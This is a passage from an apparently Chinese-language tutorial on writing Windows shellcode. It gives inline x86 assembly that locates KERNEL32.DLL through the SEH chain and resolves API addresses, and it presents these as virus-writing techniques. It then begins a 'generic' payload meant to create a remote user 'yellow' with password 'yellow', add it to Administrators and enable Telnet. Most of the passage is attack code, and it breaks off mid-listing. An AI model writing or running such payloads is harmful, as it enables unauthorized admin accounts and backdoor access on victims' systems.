and eax,0xffff0000//根据PE执行文件以64k对界的特征加快查找速度
cmp word ptr [eax],'ZM'//根据PE可执行文件特征查找KERNEL32.DLL的基址
jne MoveUp//如果当前地址不符全MZ头部特征,则向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根据PE可执行文件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE头部特征,则认为已经找到,并通过Eax返回给调用者
MoveUp:
dec eax//准备指向下一个界起始地
址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}
void main(void)
{
printf("%0.8X\n",GetKernel32());
getch();
}
完成了本节的学习以后,你应该掌握常用于编写病毒和ShellCode的几种技术:
1,根据PE文件查找引出函数地址
2,动态计算KERNEL32.DLL的基址
3,动态装载需要的运行库及动获得需要的Windows API(s)
在最后一节里我们将对前面所分析的技术做一个综合应用,写一个简单的ShellCode
三,综合运用
本节我们将综合前面分析的技术编写一个简单的通用ShellCode,这个ShellCode将首先在远程机器上新建一个用户,用户名yellow,密码yellow,如果如果可能将把该用户加入Administrators用户组,如果可能还会打开Telnet服务,请留意我的编码风格,这样风格对以后的ShellCode功能扩充提供很大方便.源程序如下:
////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov
DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_
emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'